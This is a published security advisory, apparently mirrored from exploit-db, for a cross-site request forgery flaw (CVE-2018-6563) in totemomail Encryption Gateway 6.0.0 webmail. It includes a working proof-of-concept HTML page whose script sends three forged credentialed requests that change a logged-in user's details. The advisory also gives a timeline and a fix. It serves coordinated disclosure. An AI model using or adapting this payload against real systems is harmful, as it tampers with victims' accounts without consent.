totemomail Encryption Gateway 6.0.0 Build 371 – Cross-Site Request Forgery

  • 作者: Compass Security
    日期: 2018-05-16
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/44631/
  • <!--
    ################################################################################
    #
    # COMPASS SECURITY ADVISORY
    # https://www.compass-security.com/research/advisories/
    #
    ################################################################################
    #
    # Product:totemomail Encryption Gateway
    # Vendor: totemo AG
    # CSNC ID:CSNC-2018-003
    # CVE ID: CVE-2018-6563
    # Subject:Cross-Site Request Forgery
    # Risk: High
    # Effect: Remotely exploitable
    # Author: Nicolas Heiniger <nicolas.heiniger@compass-security.com>
    # Date: 14.05.2018
    #
    ################################################################################
    
    Introduction:
    -------------
    The totemomail Encryption Gateway protects email communication with any external
    partner by encryption. It doesn't matter whether you exchange emails with
    technically savvy communication partners or with those who have neither an
    appropriate infrastructure nor the necessary know-how. The encryption gateway
    also makes it easy to securely send very large attachments.[1]
    
    Compass Security discovered a vulnerability in the webmail part of the
    solution. It is possible to predict all parameters that are required to
    execute actions on the webmail interface. This allows an attacker to perform
    Cross-Site Request Forgery (CSRF) attacks. The attacker needs to craft a malicious web
    page that will automatically send a request to the Encryption Gateway. If the
    user is logged in, the request will be executed by the Encryption Gateway on
    behalf of the logged in user. This could be used to change a user's settings, send emails or
    change contact informations.
    
    
    Affected:
    ---------
    Vulnerable:
     * 6.0.0_Build_371
    
    No other version was tested but is is likely that older versions are affected as
    well.
    
    
    Technical Description
    ---------------------
    In the webmail, no anti-CSRF token is used. Although the viewState makes the
    attack more complex, it is possible to entirely predict the requests and thus,
    perform CSRF attacks. The requirement here is to perform the attack as a replay of a full
    user interaction. One has to replay every request to make sure that the viewState is
    updated on the server side and corresponds to the action that is performed by
    the malicious page.
    
    Such a malicious page is presented below, it will automatically send 3 requests
    that will change the user's detail:
    ==========
    -->
    
    <html>
    <body>
    <script>
    function submitRequest1()
    {
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "https:\/\/[CUT BY COMPASS]\/responsiveUI\/webmail\/newMessage.xhtml", true);
    xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
    xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
    xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded");
    xhr.withCredentials = true;
    var body = "tabNavigationForm_SUBMIT=1&javax.faces.ViewState=An36[CUT BY COMPASS]XBJn&tabNavigationForm_j_id_24_j_id_26=tabNavigationForm$
    var aBody = new Uint8Array(body.length);
    for (var i = 0; i < aBody.length; i++)
    aBody[i] = body.charCodeAt(i);
    xhr.send(new Blob([aBody]));
    }
    
    function submitRequest2()
    {
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "https:\/\/[CUT BY COMPASS]\/responsiveUI\/accountOverview\/preferences.xhtml", true);
    xhr.setRequestHeader("Accept", "application\/xml, text\/xml, *\/*; q=0.01");
    xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
    xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded; charset=UTF-8");
    xhr.withCredentials = true;
    var body = "javax.faces.partial.ajax=true&javax.faces.source=preferencesForm_phoneNumber_input_text&javax.faces.partial.execute=preferencesForm_phoneNumber_input_tex$
    var aBody = new Uint8Array(body.length);
    for (var i = 0; i < aBody.length; i++)
    aBody[i] = body.charCodeAt(i);
    xhr.send(new Blob([aBody]));
    }
    
    function submitRequest3()
    {
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "https:\/\/[CUT BY COMPASS]\/responsiveUI\/accountOverview\/preferences.xhtml", true);
    xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
    xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
    xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded");
    xhr.withCredentials = true;
    var body = "preferencesForm_firstname_input_text=CSRF&preferencesForm_lastname_input_text=CSRF&preferencesForm_phoneNumber_input_text=%2B41+00+000+00+00&preferencesF$
    var aBody = new Uint8Array(body.length);
    for (var i = 0; i < aBody.length; i++)
    aBody[i] = body.charCodeAt(i);
    xhr.send(new Blob([aBody]));
    }
    
    submitRequest1();
    submitRequest2();
    submitRequest3();
    </script>
    </body>
    </html>
    
    <!--
    ==========
    
    
    Workaround / Fix:
    -----------------
    Install an up to date version of totemomail Encryption Gateway.
    
    As a developer, the requests that execute actions must include an unpredictable
    element. This is usually done by using an anti-CSRF token. This token is a
    random value tied to the user's session and must be verified by the server
    before executing any action on behalf of the user.
    
    
    Timeline:
    ---------
    2018-05-14: Coordinated public disclosure date
    2018-03-XX: Release of fixed version 6.0_b511
    2018-02-13: Initial vendor response
    2018-02-09: Initial vendor notification
    2018-02-02: Assigned CVE-2018-6563
    2018-01-11: Discovery by Nicolas Heiniger
    
    
    References:
    -----------
    [1] https://www.totemo.com/en/solutions/email-encryption/external-encryption
    -->